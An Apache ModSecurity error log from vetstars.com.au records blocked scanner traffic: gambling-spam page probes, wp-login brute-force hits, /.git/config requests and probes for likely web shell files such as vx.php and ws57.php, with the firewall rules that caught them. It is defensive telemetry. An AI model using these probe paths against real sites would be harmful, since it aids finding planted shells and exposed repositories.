[Fri Apr 24 20:30:59.233369 2026] [:error] [pid 17720:tid 17774] [client 93.158.213.26:59208] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aetig-hlUs6BS3Ng7_WenwAAANQ"]
[Fri Apr 24 20:31:01.905374 2026] [:error] [pid 17808:tid 17810] [client 93.158.213.26:59214] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aetihearbOEFI8qshvIxnwAAAEA"]
[Fri Apr 24 20:31:30.939555 2026] [:error] [pid 14531:tid 14557] [client 93.158.213.26:59912] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aetionfLU2gw-6KR-GbE8gAAAVg"]
[Fri Apr 24 20:31:33.765644 2026] [:error] [pid 22114:tid 22123] [client 93.158.213.26:42530] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aetipYAuWGz3WlMQjofpAAAAAQY"]
[Fri Apr 24 20:31:36.527669 2026] [:error] [pid 17719:tid 17739] [client 93.158.213.26:42538] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aetiqMTZ9gzEyL1BkPqnnAAAAIw"]
[Fri Apr 24 20:31:39.104918 2026] [:error] [pid 17721:tid 17797] [client 93.158.213.26:42540] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aetiq-FXXkLeyDnfk_832AAAABA"]
[Fri Apr 24 20:31:41.772592 2026] [:error] [pid 17719:tid 17740] [client 93.158.213.26:42556] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aetircTZ9gzEyL1BkPqnoAAAAI0"]
[Fri Apr 24 20:31:44.270569 2026] [:error] [pid 4177:tid 4207] [client 93.158.213.26:54892] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aetisH2asKnvdrSe0x4EbAAAAZY"]
[Fri Apr 24 20:31:46.798221 2026] [:error] [pid 14531:tid 14540] [client 93.158.213.26:54908] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aetisnfLU2gw-6KR-GbFBwAAAUc"]
[Fri Apr 24 20:31:49.408048 2026] [:error] [pid 4177:tid 4196] [client 93.158.213.26:54914] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aetitX2asKnvdrSe0x4EgAAAAYs"]
[Fri Apr 24 20:31:52.245875 2026] [:error] [pid 17719:tid 17731] [client 93.158.213.26:54926] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aetiuMTZ9gzEyL1BkPqnqQAAAIQ"]
[Fri Apr 24 20:31:54.998555 2026] [:error] [pid 17720:tid 17777] [client 93.158.213.26:48664] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aetiuuhlUs6BS3Ng7_WfOAAAANc"]
[Fri Apr 24 20:31:57.900984 2026] [:error] [pid 17719:tid 17733] [client 93.158.213.26:48674] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aetivcTZ9gzEyL1BkPqnqgAAAIY"]
[Fri Apr 24 20:32:00.476164 2026] [:error] [pid 4177:tid 4200] [client 93.158.213.26:48678] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aetiwH2asKnvdrSe0x4EoAAAAY8"]
[Fri Apr 24 20:32:03.266352 2026] [:error] [pid 4177:tid 4197] [client 93.158.213.26:48680] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aetiw32asKnvdrSe0x4EswAAAYw"]
[Fri Apr 24 20:32:05.819898 2026] [:error] [pid 17720:tid 17771] [client 93.158.213.26:33486] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aetixehlUs6BS3Ng7_WfSgAAANE"]
[Fri Apr 24 20:32:08.530303 2026] [:error] [pid 4177:tid 4186] [client 93.158.213.26:33490] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aetiyH2asKnvdrSe0x4E0gAAAYE"]
[Fri Apr 24 20:32:11.114276 2026] [:error] [pid 17808:tid 17828] [client 93.158.213.26:33502] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aetiy-arbOEFI8qshvIx_wAAAFI"]
[Fri Apr 24 20:32:13.671778 2026] [:error] [pid 17720:tid 17767] [client 93.158.213.26:52562] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aetizehlUs6BS3Ng7_WfUwAAAM0"]
[Fri Apr 24 20:32:16.491820 2026] [:error] [pid 17720:tid 17757] [client 93.158.213.26:52576] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeti0OhlUs6BS3Ng7_WfVwAAAMM"]
[Fri Apr 24 20:32:18.966456 2026] [:error] [pid 22114:tid 22117] [client 93.158.213.26:52592] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeti0oAuWGz3WlMQjofpIgAAAQA"]
[Fri Apr 24 20:32:21.437495 2026] [:error] [pid 4177:tid 4195] [client 93.158.213.26:52600] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeti1X2asKnvdrSe0x4E7AAAAYo"]
[Fri Apr 24 20:32:24.135524 2026] [:error] [pid 14531:tid 14553] [client 93.158.213.26:33502] [client 93.158.213.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeti2HfLU2gw-6KR-GbFNAAAAVQ"]
[Fri Apr 24 21:11:41.300124 2026] [:error] [pid 14531:tid 14547] [client 43.167.241.46:58816] [client 43.167.241.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aetsDXfLU2gw-6KR-GbOPQAAAU4"]
[Fri Apr 24 21:21:44.547881 2026] [:error] [pid 4177:tid 4193] [client 163.61.60.30:49188] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.61.60.30, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aetuaH2asKnvdrSe0x4kUgAAAYg"]
[Fri Apr 24 22:09:25.542179 2026] [:error] [pid 17720:tid 17758] [client 194.164.173.215:48416] [client 194.164.173.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.164.173.215, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aet5lehlUs6BS3Ng7_XIMAAAAMQ"]
[Fri Apr 24 22:23:01.300542 2026] [:error] [pid 17808:tid 17822] [client 151.243.143.47:56862] [client 151.243.143.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aet8xearbOEFI8qshvJXgQAAAEw"]
[Fri Apr 24 22:23:01.338811 2026] [:error] [pid 17808:tid 17826] [client 151.243.143.47:56838] [client 151.243.143.47] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aet8xearbOEFI8qshvJXgwAAAFA"]
[Fri Apr 24 23:15:25.930765 2026] [:error] [pid 17721:tid 17784] [client 195.178.110.18:37544] [client 195.178.110.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aeuJDeFXXkLeyDnfk_9gJAAAAAM"]
[Sat Apr 25 00:47:42.137459 2026] [autoindex:error] [pid 42791:tid 42811] [client 213.136.67.3:64619] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Apr 25 01:05:54.298526 2026] [:error] [pid 14989:tid 15002] [client 51.107.77.218:5599] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeui8nhRYjsAsZTO4EOObAAAAAs"]
[Sat Apr 25 01:05:55.554999 2026] [:error] [pid 14989:tid 15003] [client 51.107.77.218:5480] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeui83hRYjsAsZTO4EOOdAAAAAw"]
[Sat Apr 25 01:06:01.026175 2026] [:error] [pid 14989:tid 15009] [client 51.107.77.218:64751] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeui-XhRYjsAsZTO4EOOggAAABI"]
[Sat Apr 25 01:06:27.725033 2026] [:error] [pid 42852:tid 42864] [client 51.107.77.218:5444] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aeujEzMEwxhhak_EhMKKAQAAAkk"]
[Sat Apr 25 01:06:29.808883 2026] [:error] [pid 42792:tid 42822] [client 51.107.77.218:5392] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aeujFdNi9qR4GtafpfHUqQAAAgA"]
[Sat Apr 25 01:06:31.825479 2026] [:error] [pid 42852:tid 42870] [client 51.107.77.218:65178] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aeujFzMEwxhhak_EhMKKCgAAAk8"]
[Sat Apr 25 01:06:33.122884 2026] [:error] [pid 14989:tid 15001] [client 51.107.77.218:65181] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aeujGXhRYjsAsZTO4EOO9gAAAAo"]
[Sat Apr 25 01:06:36.001021 2026] [:error] [pid 42791:tid 42818] [client 51.107.77.218:5593] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aeujG7KmN9doraCEWKXnoQAAAdc"]
[Sat Apr 25 01:06:37.861065 2026] [:error] [pid 42755:tid 42763] [client 51.107.77.218:64764] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aeujHdH7__k0j6aa600AuAAAAIY"]
[Sat Apr 25 01:06:39.756706 2026] [:error] [pid 42791:tid 42814] [client 51.107.77.218:64712] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aeujH7KmN9doraCEWKXnsgAAAdM"]
[Sat Apr 25 01:06:40.778898 2026] [:error] [pid 42791:tid 42800] [client 51.107.77.218:5576] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "aeujILKmN9doraCEWKXntQAAAcU"]
[Sat Apr 25 01:06:42.225185 2026] [:error] [pid 42792:tid 42840] [client 51.107.77.218:64720] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "aeujItNi9qR4GtafpfHUuQAAAhI"]
[Sat Apr 25 01:06:44.100435 2026] [:error] [pid 42755:tid 42774] [client 51.107.77.218:64222] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "aeujJNH7__k0j6aa600AwQAAAJE"]
[Sat Apr 25 01:06:45.545375 2026] [:error] [pid 42792:tid 42824] [client 51.107.77.218:64194] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "aeujJdNi9qR4GtafpfHUwAAAAgI"]
[Sat Apr 25 01:06:46.818154 2026] [:error] [pid 42755:tid 42766] [client 51.107.77.218:61240] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "aeujJtH7__k0j6aa600AxwAAAIk"]
[Sat Apr 25 01:06:47.583734 2026] [:error] [pid 14989:tid 15006] [client 51.107.77.218:5386] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aeujJ3hRYjsAsZTO4EOO_QAAAA8"]
[Sat Apr 25 01:06:49.273648 2026] [:error] [pid 14989:tid 14995] [client 51.107.77.218:5598] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aeujKXhRYjsAsZTO4EOPBAAAAAQ"]
[Sat Apr 25 01:06:50.433776 2026] [:error] [pid 14989:tid 15000] [client 51.107.77.218:65211] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aeujKnhRYjsAsZTO4EOPDgAAAAk"]
[Sat Apr 25 01:06:51.802581 2026] [:error] [pid 42852:tid 42870] [client 51.107.77.218:64736] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aeujKzMEwxhhak_EhMKKLQAAAk8"]
[Sat Apr 25 01:06:53.171589 2026] [:error] [pid 42852:tid 42865] [client 51.107.77.218:63635] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeujLTMEwxhhak_EhMKKLwAAAko"]
[Sat Apr 25 01:06:54.605477 2026] [:error] [pid 42852:tid 42877] [client 51.107.77.218:64253] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeujLjMEwxhhak_EhMKKNgAAAlY"]
[Sat Apr 25 01:06:55.710180 2026] [:error] [pid 42852:tid 42860] [client 51.107.77.218:5474] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeujLzMEwxhhak_EhMKKOwAAAkU"]
[Sat Apr 25 01:06:57.323566 2026] [:error] [pid 14989:tid 15013] [client 51.107.77.218:64211] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aeujMXhRYjsAsZTO4EOPGAAAABY"]
[Sat Apr 25 01:06:58.278841 2026] [:error] [pid 42852:tid 42862] [client 51.107.77.218:5479] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aeujMjMEwxhhak_EhMKKQwAAAkc"]
[Sat Apr 25 01:06:59.553441 2026] [:error] [pid 42852:tid 42878] [client 51.107.77.218:64748] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aeujMzMEwxhhak_EhMKKSgAAAlc"]
[Sat Apr 25 01:07:00.547367 2026] [:error] [pid 42755:tid 42759] [client 51.107.77.218:64759] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aeujNNH7__k0j6aa600AzwAAAII"]
